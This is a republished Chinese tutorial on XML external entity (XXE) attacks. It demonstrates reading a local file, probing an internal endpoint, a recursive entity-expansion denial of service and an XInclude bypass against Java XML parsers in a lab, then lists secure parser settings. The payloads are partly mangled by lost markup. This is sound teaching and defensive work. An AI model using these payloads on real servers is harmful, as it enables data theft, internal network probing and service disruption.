• 从原理到实战，详解XXE攻击

    本文分享自华为云社区《【安全攻防】深入浅出实战系列专题-XXE攻击》，作者： MDKing。

    1 基本概念

    XML基础：XML 指可扩展标记语言（Extensible Markup Language)，是一种与HTML类似的纯文本的标记语言，设计宗旨是为了传输数据，而非显示数据。是W3C的推荐标准。

    XML标签：XML被设计为具有自我描述性，XML标签是没有被预定义的，需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。

    image1.png

    DTD：指文档类型定义(Document Type Definition)，通过定义根节点、元素（ELEMENT）、属性（ATTLIST）、实体（ENTITY）等约束了xml文档的内容按照指定的格式承载数据。

    如下图，通过的规则指定了该xml文件合法的根节点元素为persons，它的子节点元素为person，以及person的子层元素以及属性。

     

    （另外：可通过的方式引入外部的DTD定义文件）

     

    image2.png

    实体：在DTD中通过等方式定义实体，相当于定义变量的作用，可在文档内容中通过&实体名称；的方式引用实体的值（变量的值）。

    实体类型：实体分为多种类型，从使用范围的维度，分为参数实体（只能在DTD中引用）与非参数实体（可以在DTD中、文档内容中引用）。区别如下：

     
      样例 引用方式 使用范围与场景
    非参数实体 &country; 在DTD中、文档内容中均可引用，一般用来取代重复的字符串
    参数实体 %country; 仅能在DTD定义中引用，一般用来保存某段重复的DTD定义

    从值的来源维度，分为内部实体、外部实体。内部实体为文档内部直接定义值，外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下：

     
      样例 特征与使用场景
    内部实体 值是明确的字符串常量等，可以直接定义在本文档中
    外部实体 值来源于其它文件或者网络

    XML外部实体注入：XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时，就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的，达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。

    Xinclude：Xinclude用来导入外部xml文档，类似于php的include，将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性，但并不是所有XML 解析器都支持 XInclude，W3C在XInclude Implementations Report中列出了支持的列表，结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。

    2 常见攻击场景实战演练

    2.1 服务器文件读取（信息泄露）

    目的与场景：通过构造特定格式的xml文档，读取服务器上指定文件的内容，达到敏感信息获取的目的。

    xml文档payload：

    "1.0" encoding="UTF-8"?>
DOCTYPE root [ 
    
    "file:///D:/securetest/xxe/passwd.txt">]>
&pw;

    服务器端代码：

    复制代码
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "\n" +
                "" +
                "\t\n" +
                "\t]>\n" +
                "&pw;";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 打印根节点元素名称、内容
        System.out.println("根节点名称：" + rootElement.getNodeName());
        System.out.println("根节点内容：" + rootElement.getTextContent());
}
    复制代码

    执行结果：成功读取到了passwd.txt的内容。（服务端代码样例中打印在控制台上，对应实际系统中需要有将文档内容打印到界面上等处理。）

    image3.png

    2.2 内网信息探测

    目的与场景：通过构造特定格式的xml文档，可以借助目标主机访问内网的其它主机开放的内部接口等服务。

    内网其它服务器模拟准备：通过node staticServer.js命令启动服务器，监听3000端口

    复制代码
    let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.get('/getInnerData', function(req, res) {
  console.log(req.headers)
  res.end('AK:abc;SK:ABDCEF')
})
app.listen(3000)
    复制代码

    经验证，http请求可成功返回

    image4.png

    xml文档payload：

    "1.0" encoding="UTF-8"?>
DOCTYPE root [ 
    
    "http://127.0.0.1:3000/getInnerData">]>
&pw;

    服务器端代码：

    复制代码
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "\n" +
                "" +
                "\t\n" +
                "\t]>\n" +
                "&pw;";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 打印根节点元素名称、内容
        System.out.println("根节点名称：" + rootElement.getNodeName());
        System.out.println("根节点内容：" + rootElement.getTextContent());
    }
    复制代码

    执行结果：成功读取到内部接口getInnerData的内容。

    image5.png

    2.3 DDos攻击

    目的与场景：通过构造特殊格式的xml文档，定义多层递归引用的实体（变量）让解析的内容以及时间以指数级增长，以实现DDos攻击的效果。

    xml文档payload：

    复制代码
    "1.0" encoding="UTF-8"?>
DOCTYPE root [ 
    
    "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
    "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
&lol6;
    复制代码

    服务器端代码：

    复制代码
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    // 获取当前时间
    LocalDateTime startTime = LocalDateTime.now();
    String xml = "\n" +
            "" +
            "\t\n" +
            "\t\n" +
            "\t\n" +
            "\t\n" +
            "\t\n" +
            "\t\n" +
            "\t\n" +
            "\t]>\n" +
            "&lol6;";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating(true);
    factory.setExpandEntityReferences(false);
    System.setProperty("entityExpansionLimit", "50000000");
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 打印根节点元素名称、内容
    System.out.println("根节点名称：" + rootElement.getNodeName());
    System.out.println("根节点内容：" + rootElement.getTextContent());
    System.out.println("根节点内容长度：" + rootElement.getTextContent().length());
    System.out.println("根节点内容大小：" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB");

    // 获取当前时间并计算时间差
    LocalDateTime endTime = LocalDateTime.now();
    Duration duration = Duration.between(startTime, endTime);
    System.out.println("解析执行时间为：" + duration.toMillis() + "豪秒");
}
    复制代码

    执行结果：如果程序中不对解析实体做限制的话，可以通过少量的DTD定义，实现海量大小的解析结果的效果，会大量占用服务器的处理、存储。

    image6.png

    2.4 Xinclude攻击演示

    目的与场景：该样例演示了如果打开了Xinclude开关的危险性，即使做了DTD的安全禁用，还是依然可以进行XXE攻击。

    xml文档payload：

    复制代码
    "1.0" encoding="UTF-8"?>
DOCTYPE root [ 
    
    "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
    "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
&lol6;
    复制代码

    服务端代码：

    复制代码
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    String xml = "\n" +
            "\n" +
            "\n" +
            "";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setNamespaceAware(true);
    factory.setXIncludeAware(true);
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 打印根节点元素名称、内容
    System.out.println("根节点名称：" + rootElement.getNodeName());
    System.out.println("根节点内容：" + rootElement.getTextContent());
}
    复制代码

    执行结果：

    image7.png

    3 安全编码防御

    3.1 禁止打开Xinclude开关

    常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析，打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑，首先禁止打开Xinclude开关。

    3.2 禁用DTD解析

    如果业务中不需要进行DTD定义以及解析，最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);来禁用。效果如下：

    image8.png

    3.3 禁用外部实体解析

    方式一：如果业务中确实需要DTD定义以及解析，可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析：

    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

    效果如下：

    image9.png

    方式二：禁用外部实体解析还有另外一种方式，重写实体解析函数，核心代码：

    复制代码
    builder.setEntityResolver(new EntityResolver() {
    @Override
    public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException {
        return new InputSource(new StringReader(""));
    }
});
    复制代码

    效果如下：

    image10.png

    4 安全编码扫描工具

    IoT已将包括上述安全编码逻辑在内的常用XML解析器的安全编码规范提取到IoT自定义安全规则集，上线到所有IoT服务的生产发布流水线中，自动化的保障各服务的现网代码安全。如：

    image11.png

    点击关注，第一时间了解华为云新鲜技术~

     

  • 相关阅读:
    golang validator 提示消息本地化（中英文案例）
    QT 完成登陆界面跳转到聊天室+完成学生管理系统的查找和删除功能
    Vue——计算属性（计算属性简介、计算属性和方法的区别:(面试)、关于计算属性 函数什么情况下调用、案例）
    博客与AI
    【python环境搭建】一台电脑下安装不同python版本时如何安装模块
    C++基础知识记录
    Java毕业设计-火车订票管理系统
    【CPP】Introduction
    HTML做一个简单漂亮的宠物网页（纯html代码）
    Rust语言所有权与引用（详解）
  • 原文地址：https://www.cnblogs.com/huaweiyun/p/17761428.html